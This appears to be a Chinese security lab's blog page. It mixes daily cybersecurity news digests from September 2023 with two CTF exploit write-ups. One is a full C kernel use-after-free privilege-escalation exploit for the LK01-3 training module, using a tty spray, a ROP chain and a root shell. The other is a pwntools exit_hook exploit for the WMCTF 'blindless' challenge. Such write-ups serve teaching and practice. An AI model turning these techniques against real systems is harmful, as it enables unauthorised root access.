网络安全日报 2023年09月22日
1、攻击者利用商业软件Remcos和GuLoader进行网络攻击
https://research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/ 标榜合法的软件已成为网络犯罪分子的首选武器。此行为的两个著名示例是 Remcos RAT(远程管理工具)和 GuLoader(也称为 CloudEyE Protector)。这些程序被定位为合法工具,经常被用于攻击,并在最流行的恶意软件排名中占据前列。虽然卖家声称这些工具只能合法使用,但更深层次的事实是,他们的主要客户正是网络犯罪分子。由于 Remcos 很容易被防病毒解决方案检测到
2、攻击者针对Celsius加密货币破产案的索赔人发起钓鱼攻击
https://twitter.com/search?q=%22case-stretto.com 诈骗者冒充加密货币贷款机构 Celsius 的破产索赔代理人进行网络钓鱼攻击,试图从加密货币钱包中窃取资金。2022 年 7 月,加密货币贷款机构 Celsius 申请破产并冻结用户账户提款。此后,客户向该公司提出索赔,希望收回部分资金。在过去的几天里,用户报告说收到了冒充来自 Celsius 破产程序索赔代理人 Stretto 的网络钓鱼电子邮件。如果您收到一封声称与摄氏度有关的电子邮件,请忽略它,并在合法的网站上检查该案件的最新更新 。不幸的是,如果您已经访问过这些网络钓鱼网站之一,并且在连
3、研究人员披露基于Rust恶意软件针对阿塞拜疆的攻击活动
https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets 研究人员正在以 Operation Rusty Flag 的名义追踪此次行动。位于阿塞拜疆的目标已被挑选为新活动的一部分,该活动旨在在受感染的系统上部署基于 Rust 的恶意软件。它尚未与任何已知的攻击者或组织相关联。该操作至少有两个不同的初始访问向量。这次行动中使用的诱饵之一是 Storm-0978 组织使用的一份修改过的文件。这可能是故意的‘假旗’。这一行动看起来像是一次故意的虚
4、研究人员披露FIN12勒索软件组织攻击活动
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf 2023 年 3 月 9 日星期四,研究人员发布布雷斯特大学医院中心 (CHU) 的一台服务器遭到入侵报告。卫生机构的响应能力使得能够快速将信息系统与互联网隔离,并阻碍攻击者作案手法(MOA)的进展,从而防止数据外泄和信息系统的加密“信息”。研究人员发现了与在法国周边观察到并在公开来源中报告的一系列事件的联系,从而将这次攻击与 FIN12 网络犯罪作案手法联系起来。FIN12 的运营商对法国领土上发生的大量勒索软件攻击负有责任。 2020 年至 2023 年间,他们会先使
5、GitLab提示用户安装针对关键管道漏洞的安全更新
https://about.gitlab.com/releases/2023/09/18/security-release-gitlab-16-3-4-released/ GitLab 发布了安全更新,以解决一个严重严重的漏洞,该漏洞允许攻击者通过计划的安全扫描策略以其他用户的身份运行管道。GitLab 是一个流行的基于网络的开源软件项目管理和工作跟踪平台,提供免费和商业版本。该漏洞被指定为 CVE-2023-5009 (CVSS v3.1 评分:9.6),影响 GitLab 社区版 (CE) 和企业版 (EE) 版本 13.12 至 16.2.7 以及版本 16.3 至 16.3.4。在用
6、LockBit 要求将受害公司收入的 3% 作为赎金
https://cybersecuritynews.com/lockbit-demands-3-revenue-ransom/ LockBit内部拟要求对受害公司收取其收入的3%作为赎金,以统一其附属组织不一致的赎金标准。
7、OpenAI 宣布推出“红队网络”,旨在提高其 AI 模型安全性
https://www.ithome.com/0/720/350.htm 美国人工智能研究公司 OpenAI 宣布推出“红队网络”(Red Teaming Network),并邀请各领域专家加入其“红队网络”,以提高其人工智能(AI)模型的安全性。
8、Apple 发布紧急更新以解决 3 个新的被积极利用的零日漏洞
https://securityaffairs.com/151174/hacking/apple-zero-days.html Apple 发布了紧急安全更新,以解决三个新的零日漏洞(CVE-2023-41993、CVE-2023-41991、CVE-2023-41992),这些漏洞已在野外攻击中被利用。这三个缺陷是由多伦多大学蒙克学院公民实验室的 Bill Marczak 和谷歌威胁分析小组的 Maddie Stone 发现的。
9、乌克兰黑客是Free Download Manager供应链攻击的幕后黑手
https://securityaffairs.com/151157/hacking/free-download-manager-supply-chain-attack-2.html 最近发现的免费下载管理器 (FDM) 供应链攻击始于 2020 年,该攻击分发 Linux 恶意软件。现在,免费下载管理器 (FDM) 的维护者分享了他们的调查结果。他们发现乌克兰黑客组织破坏了其网站上的特定网页,然后用它来传播恶意软件。
10、新的“Sandman”APT 组织利用罕见的 LuaJIT 恶意软件攻击电信公司
https://www.securityweek.com/new-sandman-apt-group-hitting-telcos-with-rare-luajit-malware/ 根据 SentinelLabs 和 QGroup GmbH 的联合调查,发现一个新的神秘 APT 组织以欧洲和亚洲的电信服务提供商为目标,这似乎是网络间谍活动的一部分。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
通过复用TTY结构体实现提权利用
前言
UAF是用户态中常见的漏洞,在内核中同样存在UAF漏洞,都是由于对释放后的空间处理不当,导致被释放后的堆块仍然可以使用所造成的漏洞。
LK01-3
结合题目来看UAF漏洞
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
open模块
在执行open模块时会分配0x400大小的堆空间,并将地址存储在g_buf中
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
read模块
在读模块中,会从用户空间中读取0x400字节到g_buf执行的堆空间中
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
write模块
在写模块中,会从用户空间拷贝400字节数据到内核堆空间中
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
close模块
close模块会释放g_buf指向的堆块空间
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
漏洞分析
在读写模块中都限制了长度为0x400,这与一开始分配的堆空间大小一致,因此与LK01-2不同的是不存在堆溢出漏洞。但是在open模块中g_buf是唯一用来存储堆地址的变量,并且没有进行次数限制,那么就会导致多次调用open模块会使得存在多个指针指向同一块内存,若该内存被释放就会造成UAF漏洞。下图就是构造UAF漏洞的流程。
当把g_buf释放掉后,通过fd2文件描述符同样能够操控g_buf的空间,问题是该如何劫持程序流程,由于堆空间是通过slab分配器进行分配的,而slab还可而已进行缓存,因此g_buf被释放后会放进缓存中,而g_buf的大小为0x400这与tty结构体一致,因此此时通过堆喷确保g_buf被分配到tty结构体。构造uaf的代码如下。
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
...
这里我有一个疑惑的点,在模块中的close函数仅仅只是释放了g_buf的堆内存并没有后续操作,因此在执行close(fd1)之后,是不是还能对文件描述符fd1进行操作,后来试验之后发现不行,查询资料得到,文件描述符的移除是内核默认操作与重定义模块的close操作无关。
在构造出UAF漏洞并进行堆喷之后,实际操作的g_buf指向的是tty的结构体,该结构体偏移0x18是一个函数表的操作指针,那么将该函数表修改为自定义的函数表即可。后续的操作与LK01-3一致,将指针操作修改为栈迁移到堆上,然后就是执行commit_creds(prepare_kernel_cred(0)),利用swapgs_restore_regs_and_return_to_usermode绕过kpti的保护。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset 0x638e9b
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int main() {
save_user_land();
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(fd2, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
//for (unsigned int i = 0; i < 0x80; i++)
// printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_addr = p[3];
unsigned long heap_addr = p[7];
printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
unsigned long kernel_base = kernel_addr - 0xc39c60;
unsigned long g_buf = heap_addr - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = i;
p[0x21] = pop_rdi_ret_offset + kernel_base;
p[0x22] = 0;
p[0x23] = prepare_kernel_cred_offset + kernel_base;
p[0x24] = pop_rcx_ret_offset + kernel_base;
p[0x25] = 0;
p[0x26] = mov_rdi_rax_offset + kernel_base;
p[0x27] = commit_creds_offset + kernel_base;
p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
p[0x29] = 0;
p[0x2a] = 0;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
write(fd2, buf, 0x400);
for (int i = 0; i < 50; i++)
ioctl(spray[i], 0, g_buf+0x100);
}
网络安全日报 2023年09月21日
1、研究人员披露基于ERMAC木马的Hook家族银行木马
https://research.nccgroup.com/2023/09/11/from-ermac-to-hook-investigating-the-technical-differences-between-two-android-malware-variants/ 研究人员发现 ERMAC 源代码被用作 Hook 的基础。恶意软件操作者可以发送到感染 ERMAC 恶意软件的设备的所有命令(总共 30 个)也存在于 Hook 中。这些命令的代码实现几乎相同。研究人员于 2023 年 1 月首次记录了 Hook ,将其描述为“ERMAC分叉”,每月售价 7000 美元。这两种病毒都是恶
2、趋势科技修复了端点保护服务中远程代码执行零日漏洞
https://thehackernews.com/2023/09/trend-micro-releases-urgent-fix-for.html 趋势科技修复了趋势科技 Apex One 端点保护解决方案中的远程代码执行零日漏洞,该漏洞在攻击中被积极利用。Apex One 是一款适合各种规模企业的端点安全解决方案,“无忧企业安全”套件专为中小型企业设计。该任意代码执行缺陷被跟踪为 CVE-2023-41179,根据 CVSS v3,其严重程度评级为 9.1,将其归类为“严重”。该漏洞存在于安全软件附带的第三方卸载程序模块中。趋势科技观察到至少有一次针对此漏洞的潜在攻击活动 。强烈鼓励客户
3、研究人员发现 Nagios XI 网络监控软件存在严重漏洞
https://securityaffairs.com/151138/security/nagios-xi-flaws.html 研究人员在 Nagios XI 网络和 IT 基础设施监控解决方案中发现了四个漏洞(CVE-2023-40931、CVE-2023-40932、CVE-2023-40933、CVE-2023-40934),这些漏洞可能导致信息泄露和权限升级。Nagios XI 提供对所有关键任务基础设施组件的监控,包括应用程序、服务、操作系统、网络协议、系统指标和网络基础设施。它被全球数千个组织使用。
4、芬兰警方捣毁暗网毒品市场 PIILOPUOTI
https://securityaffairs.com/151131/deep-web/finnish-police-seized-piilopuoti-marketplace.html 芬兰海关宣布查封暗网市场 Piilopuoti,作为国际执法行动的一部分。据欧洲刑警组织称,调查仍在进行中,执法机构正在努力查明该平台上的卖家和用户的身份。
5、国际刑事法院遭受网络攻击
https://securityaffairs.com/151115/hacking/international-criminal-court-cyber-attack.html 国际刑事法院(ICC)本周披露了一次网络攻击,其系统上周遭到破坏。
6、GITLAB 修复了严重漏洞 CVE-2023-5009
https://securityaffairs.com/151107/security/gitlab-critical-vulnerability-cve-2023-5009.html GitLab 已发布安全补丁来解决一个严重漏洞,编号为 CVE-2023-5009 (CVSS 评分:9.6),该漏洞允许攻击者以其他用户身份运行管道。
7、Signal Messenger 推出 PQXDH 抗量子加密
https://thehackernews.com/2023/09/signal-messenger-introduces-pqxdh.html 加密消息应用程序 Signal 宣布更新 Signal 协议,通过将扩展三重 Diffie-Hellman ( X3DH ) 规范升级为后量子扩展 Diffie-Hellman ( PQXDH ) 来增加抗量子攻击支持。
8、Sainbox RAT、ValleyRAT 和 Gh0stRAT 针对中国用户
自 2023 年初以来,Proofpoint 观察到与可疑的中国网络犯罪活动相关的恶意软件的电子邮件分发有所增加。这包括尝试传递 Sainbox 远程访问木马 (RAT)(商品木马 Gh0stRAT 的变种)以及新发现的 ValleyRAT 恶意软件。
9、恶意 NPM 包窃取 Kubernetes 配置、SSH 密钥
https://blog.sonatype.com/npm-packages-caught-exfiltrating-kubernetes-config-ssh-keys 恶意软件包冒充合法的 JavaScript 库和组件,但在安装后,它们会运行混淆代码来收集和窃取敏感文件。
10、马自达服务器被"黑" 或有超10万人信息被泄露
https://news.mydrivers.com/1/935/935571.htm 马自达汽车前几日表示,该公司内部系统服务器遭到外部入侵,导致公司员工及合作方人员的姓名及电话号码共计约104732份信息可能被泄露。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年09月20日
1、1.2W个 Juniper SRX 防火墙和 EX 交换机受 CVE-2023-36845 影响
https://securityaffairs.com/151037/hacking/12000-juniper-devices-cve-2023-36845.html 研究人员发现大约 12,000 个Juniper网络 SRX 防火墙和 EX 交换机容易受到最近披露的 CVE-2023-36845 RCE 缺陷的影响。
2、SHROUDEDSNOOPER 威胁行为者针对中东电信公司
https://securityaffairs.com/151055/apt/shroudedsnooper-targeting-telco-in-middle-east.html ShroudedSnooper 威胁行为者通过名为 HTTPSnoop 的后门瞄准中东的电信服务提供商。思科 Talos 研究人员最近发现了一种名为 HTTPSnoop 的新隐形植入物,该植入物被用于针对中东电信提供商的攻击。
3、最近的网络攻击导致 CLOROX 产品短缺
https://securityaffairs.com/151046/security/clorox-products-shortage.html 高乐氏公司是一家跨国消费品公司,专门生产和销售各种家用和专业清洁、健康和个人护理产品。这家清洁产品巨头于 8 月中旬宣布,它是网络安全事件的受害者,迫使其部分系统下线。
4、新的 AMBERSQUID 恶意挖矿行动针对不常见的 AWS 服务
https://thehackernews.com/2023/09/new-ambersquid-cryptojacking-operation.html 一种新颖的云原生加密劫持操作将目光投向了不常见的 Amazon Web Services (AWS) 产品,例如 AWS Amplify、AWS Fargate 和 Amazon SageMaker,以非法开采加密货币。
5、APT36组织利用伪造的YouTube应用程序感染安卓设备
https://www.sentinelone.com/labs/capratube-transparent-tribes-caprarat-mimics-youtube-to-hijack-android-phones/ APT36 黑客组织(又名“透明部落”)使用至少三个模仿 YouTube 的 Android 应用程序,通过其签名远程访问木马“CapraRAT”感染设备。一旦恶意软件安装在受害者的设备上,它就可以收集数据、记录音频和视频或访问敏感通信信息,本质上就像间谍软件工具一样运行。
6、软件开发公司Retool遭遇钓鱼攻击影响27个云客户端
https://retool.com/blog/mfa-isnt-mfa/ 软件开发公司 Retool 披露,其 27 名云客户的账户在一次有针对性的基于短信的社会工程攻击后遭到泄露。这家总部位于旧金山的公司指责2023 年 4 月最近推出的Google 帐户云同步功能使泄露事件变得更严重,称其为“黑暗模式”。该公司工程主管称,Google Authenticator 同步到云端的事实是一种新颖的攻击媒介。该公司最初实施的是多重身份验证。但通过这次 Google 更新,以前的多重身份验证已悄然变成了单因素身份验证。该事件发生于 2023 年 8 月 27 日,不允许对本地或托管帐户进行未经授
7、BlackCat勒索软件利用Sphynx加密器攻击Azure云存储
https://infosec.exchange/@SophosXOps/111059622083722634 BlackCat (ALPHV) 勒索软件团伙现在使用被盗的 Microsoft 帐户和最近发现的 Sphynx 加密器来加密目标的 Azure 云存储。在调查最近的一次违规行为时,Sophos X-Ops 事件响应人员发现攻击者使用了新的 Sphynx 变体,并增加了对使用自定义凭据的支持。 使用被盗的一次性密码获得对 Sophos Central 帐户的访问权限后,他们禁用了防篡改功能并修改了安全策略。使用 LastPass Chrome 扩展从受害者的 LastPass 金库
8、LOCKBIT勒索软件组织针对两家纽约医院发起网络攻击
https://securityaffairs.com/150835/cyber-crime/lockbit-ransomware-carthage-area-hospital.html Lockbit 勒索软件组织声称入侵了两家主要医院:迦太基地区医院和克拉克斯顿-赫本医疗中心。这两家医院为纽约州北部的数十万人提供服务。这次网络攻击发生在八月底,过去几周对两家医院造成了严重影响。电话系统于 9 月 2 日恢复,但网络攻击影响了其他几项服务。作为预防措施,迦太基和克拉克斯顿的急诊室已被转移,患者被劫持到其他地区医院,大部分预约也被重新安排。两家医院仍在努力从网络攻击中恢复过来。本周,Lock
9、攻击者使用NodeStealer恶意软件针对Facebook企业帐户发起攻击
https://www.netskope.com/blog/new-python-nodestealer-goes-beyond-facebook-credentials-now-stealing-all-browser-cookies-and-login-credentials 研究人员披露一项正在进行的活动正在针对 Facebook Business 帐户发送虚假消息,使用基于 Python 的NodeStealer 变体获取受害者的凭据,并可能接管他们的帐户以进行后续恶意活动。这些攻击的受害者主要分布在南欧和北美的不同领域,其中以制造服务和技术行业为首。研究人员于 2023 年 5 月
10、谷歌同意就加州位置隐私诉讼达成 9300 万美元和解
https://thehackernews.com/2023/09/google-agrees-to-93-million-settlement.html 谷歌已同意支付 9300 万美元,以解决美国加利福尼亚州就其位置隐私行为误导消费者和违反消费者保护法的指控提起的诉讼。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言
在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。
这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。
在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。
"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。
0x02 exit_hook的n种姿势
基地址放在此处供各位参考一下,用于计算指令偏移。
exit_hook2libc
首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的元素可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
执行p _rtld_global。看到那两个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。
注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。
然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。
注意这个2312是十进制。
好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。
并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。
接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。
对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。
例如修改_rtld_global+2312为"/bin/sh\x00"
这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。
调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
2.直接call
link_map地址+0xa8是存第二个直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。
但是发现有一个地方判断可以跳过call r14。
就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,je 指令的作用是:
检查零标志位(ZF)是否被设置为 1。
如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。
完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。
from pwn import *
n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))
while True:
context(os='linux', arch='amd64', log_level='debug')
p = process('./main')
context.terminal = ['tmux','new-window' ,'-n','-c']
#gdb.attach(p)
sla('ze',b'-10')#分配到libc上(用mmap)
sla('ze',b'256')
pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移
pay += b'@'+p32(2148618432)
pay +=b'.' + b'\xb1'
pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址
pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14
pay +=b'.' + b'\x00'
pay += b'q'
sla('code\n',pay)
re = p.recvrepeat(0.1)#一直接收直到有回显
#如果是system的话可以发一个cat flag再这样
#这是个很好的爆破方式,学习学习
if re:
print('pwned!get your flag here:',re)
exit(0)
p.close()
网络安全日报 2023年09月19日
1、Lazarus组织涉嫌盗取CoinEx交易所3100万美元的加密货币
https://thehackernews.com/2023/09/north-koreas-lazarus-group-suspected-in.html 自 2023 年 6 月以来,朝鲜附属的 Lazarus 集团已窃取近 2.4 亿美元的加密货币,标志着其黑客攻击大幅升级。根据已发布的多份报告,据该APT组织涉嫌于 2023 年 9 月 12 日从CoinEx 交易所盗窃了 3100 万美元的数字资产。针对 CoinEx 的加密货币盗窃案是近期针对 Atomic Wallet(1 亿美元)、CoinsPaid(3730 万美元)、Alphapo(6000 万美元)和 Stake.co
2、研究人员披露Turla组织最近活跃的十种恶意软件
https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/ Turla(又名 Peptic Ursa、Uroburos、Snake)是一个总部位于俄罗斯的威胁组织,至少自 2004 年起就开始活动,与俄罗斯联邦安全局 (FSB) 有联系。研究人员介绍 Peptic Ursa 武器库中最近活跃的 10 种恶意软件类型:Capibar、Kazuar、Snake、Kopiluwak、QUIETCANARY/Tunnus、Crutch、ComRAT、Carbon、HyperStack 和 TinyTurla。
3、研究人员披露Bumblebee恶意软件的网络攻击活动
https://intel471.com/blog/bumblebee-loader-resurfaces-in-new-campaign Bumblebee 是一种加载程序,越来越多地被与勒索软件相关的攻击者使用,其中包括现已不复存在的 Conti 病毒和相对较新的 Akira。Bumblebee 采用 C++ 编程语言编写,被多个威胁参与者用来确保在高价值企业环境中获得初步立足点。Bumblebee 最近中断了两个月,这通常发生在攻击者暑假期间。但在 2023 年 8 月底,Bumblebee 的运营商恢复了活动。英特尔 471 恶意软件情报系统发现了利用新技术传播 Bumblebee
4、研究人员披露Akira勒索软件利用虚拟机以绕过EDR
https://cybercx.com.au/blog/akira-ransomware/ Akira 勒索软件组织自 2023 年 4 月以来一直在攻击受害者。研究人员观察到的一项新技术利用了将勒索软件部署到 Windows Hyper-V 虚拟机管理程序系统上,导致连接的虚拟机 ( VM )受到严重损坏。即使基于 Windows 的虚拟机管理程序和目标虚拟机正在运行重要的端点检测和响应 ( EDR ) 工具,威胁行为者也会通过在虚拟机管理程序上创建新的、不受监控的虚拟机来规避这一点,他们可以从中导航虚拟机管理程序上的目录并执行他们的勒索软件。
5、微软AI研究部门意外泄露38TB敏感数据
https://securityaffairs.com/151004/data-breach/microsoft-ai-data-leak.html 网络安全公司 Wiz 发现,微软 AI 研究部门在 GitHub 上发布一桶开源训练数据时,意外泄露了 38TB 的敏感数据。暴露的数据暴露了两名员工工作站的磁盘备份,其中包含机密、私钥、密码和超过 30,000 条内部 Microsoft Teams 消息。
6、名为"USDOD"的威胁行为者宣布泄露高度敏感的 TRANSUNION 数据
https://securityaffairs.com/150968/data-breach/transunion-data-leak.html TransUnion 是一家美国消费者信用报告机构。TransUnion 收集并汇总了 30 多个国家/地区超过 10 亿个人消费者的信息,其中包括“2 亿份文件,分析了美国几乎所有信用活跃的消费者”。一个绰号为“ USDoD ”的威胁行为者宣布泄露了据称从信用报告机构窃取的高度敏感数据。泄露的数据库大小超过 3GB,包含约 58,505 人的敏感 PII,遍布全球,包括美国和欧洲。
7、Fortinet 修补FortiOS、FortiProxy、FortiWeb中的高危漏洞
https://www.securityweek.com/fortinet-patches-high-severity-vulnerabilities-in-fortios-fortiproxy-fortiweb-products/ Fortinet 已针对影响多个 FortiOS 和 FortiProxy 版本的高严重性跨站脚本 (XSS) 漏洞发布了补丁。
8、Clop 勒索团伙窃取北卡罗来纳州主要医院的数据
https://securityaffairs.com/150949/cyber-crime/north-carolina-hospitals-data-breach.html 微软旗下的医疗技术公司 Nuance 透露,作为 Progress MOVEit Transfer 活动的一部分,Clop 勒索团伙窃取了北卡罗来纳州主要医院的个人数据。
9、Google 将 Chromebook 的安全更新支持期限延长 10 年
https://www.bleepingcomputer.com/news/security/google-extends-security-update-support-for-chromebooks-to-10-years/ 谷歌表示,从 2024 年开始,2021 年之后发布的所有 Chromebook 将自动获得为期十年的安全更新,每四个星期自动向设备发送一次。
10、N-Able曝高危漏洞,能任意删除Windows系统文件
https://www.freebuf.com/news/378432.html Google 旗下威胁情报公司Mandiant近期披露了在N-Able Take Control Agent 中发现的一个高严重性安全漏洞,本地非特权攻击者可以利用该漏洞来获取Windows系统权限。该漏洞被追踪为CVE-2023-27470(CVSS 评分:8.8),与 TOCTOU 竞争条件漏洞有关。TOCTOU属于软件缺陷类别漏洞,其中程序会检查资源状态的特定值,但该值在实际使用之前发生变化,从而使检查结果无效。利用此类缺陷可能会导致完整性丧失,并诱骗程序执行不应执行的操作,从而允许攻击者访问未经授权的资
免责声明
